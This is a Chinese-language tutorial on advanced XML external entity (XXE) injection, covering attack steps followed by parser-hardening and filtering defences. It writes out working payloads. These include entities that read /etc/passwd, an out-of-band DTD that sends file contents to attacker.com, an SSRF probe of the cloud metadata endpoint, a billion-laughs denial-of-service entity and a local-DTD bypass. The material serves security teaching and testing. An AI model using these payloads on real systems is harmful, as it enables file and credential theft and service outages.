XML外部实体(XXE)注入攻击进阶利用与防御绕过技术详解
字数 1602 2025-12-13 08:18:43
XML外部实体(XXE)注入攻击进阶利用与防御绕过技术详解
题目描述
XML外部实体(XXE)注入攻击是一种针对XML解析器的安全漏洞,当应用处理用户可控的XML输入时,如果未安全配置XML解析器,攻击者可利用外部实体声明,实现读取服务器文件、发起内部网络请求、执行服务器端请求伪造(SSRF)或拒绝服务(DoS)攻击。进阶利用涉及多种攻击向量、带外数据提取、盲注技术和防御绕过手段,防御则需要综合配置解析器、输入验证和输出编码。
解题过程循序渐进讲解
步骤1:理解XXE漏洞的基本原理
XML文档可定义“实体”(类似变量),用于引用数据。其中,外部实体可通过SYSTEM关键字引用外部资源(如文件、URL)。
- 示例XML:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <data>&xxe;</data> - 若解析器未禁用外部实体,
&xxe;会被替换为/etc/passwd文件内容。 - 漏洞成因:解析器默认启用外部实体解析(如旧版libxml2),或开发人员未显式禁用相关特性。
步骤2:识别攻击场景与常见入口点
XXE可出现在任何处理XML的位置:
- 文件上传功能:如SVG、DOCX、PDF等格式内部包含XML。
- API请求:特别是SOAP或基于XML的REST端点。
- 单点登录(SSO):如SAML断言使用XML。
- 文档解析:如Office文档、图像元数据(Exif)处理。
- 检测方法:尝试插入外部实体定义,观察是否返回文件内容、触发网络请求(通过Burp Collaborator监控)或报错信息泄露。
步骤3:进阶利用技术详解
3.1 带外数据提取(OOB XXE)
当目标无法直接回显数据时,通过外部实体将数据发送到攻击者服务器。
- 利用参数实体(
%声明的实体)和嵌套DTD:<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd"> %dtd; ]> <data>&exfil;</data>evil.dtd内容:<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?data=%file;'>"> %eval;
- 注意:某些解析器限制数据格式,需对文件内容进行编码(如Base64)。
3.2 服务器端请求伪造(SSRF)
通过外部实体访问内部网络资源:
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
- 可用于攻击云实例元数据服务、内部API、数据库管理界面。
3.3 拒绝服务(DoS)
- 利用XML递归实体(“亿笑攻击”):
<!ENTITY a "&b;&b;&b;&b;&b;"><!ENTITY b "&c;&c;&c;&c;&c;">- 解析时实体指数级扩展,耗尽内存。
3.4 绕过禁用外部实体的技巧
- 利用本地DTD文件:若服务器存在已知DTD文件(如Linux系统的
/usr/share/yelp/dtd/docbookx.dtd),可重用其内部实体实现OOB。<!DOCTYPE foo [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> <!ENTITY % ISOamso '> <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'http://attacker.com/%file;'>"> %eval; '> %local_dtd; ]> - 通过XInclude绕过:若用户输入嵌入在XML的
xi:include元素中,可触发外部解析:<xi:include href="file:///etc/passwd" parse="text"/> - 利用SVG或HTML转换:上传SVG文件,内部含XXE,某些图像处理库会解析。
步骤4:防御与绕过防御的对抗
4.1 安全配置XML解析器(以Java为例):
- 禁用外部实体和危险协议:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); dbf.setExpandEntityReferences(false); - 注意:不同语言库(如Python lxml、PHP libxml)配置方式不同。
4.2 输入验证与过滤
- 避免直接解析用户XML,改用JSON等安全格式。
- 若必须使用XML,过滤
<!DOCTYPE、<!ENTITY、SYSTEM等关键字(可能被编码绕过)。
4.3 输出编码
- 对XML输出进行HTML编码,防止实体解析结果被浏览器执行。
4.4 网络层防护
- 限制解析器出站连接(防止OOB数据外泄)。
- 使用WAF规则检测DOCTYPE和实体声明(但可能被混淆绕过)。
步骤5:实际测试与工具辅助
- 使用Burp Suite的
XXE Scanner模块自动检测。 - 手工测试Payload库:参考
PayloadsAllTheThings的XXE部分。 - 盲注场景:结合DNS查询和HTTP请求到Burp Collaborator确认漏洞。
总结
XXE进阶利用需灵活组合OOB、SSRF和本地DTD技巧,防御需多层面加固,包括解析器配置、输入过滤和网络限制。在红队评估中,重点测试文件上传、API和集成第三方XML处理的场景。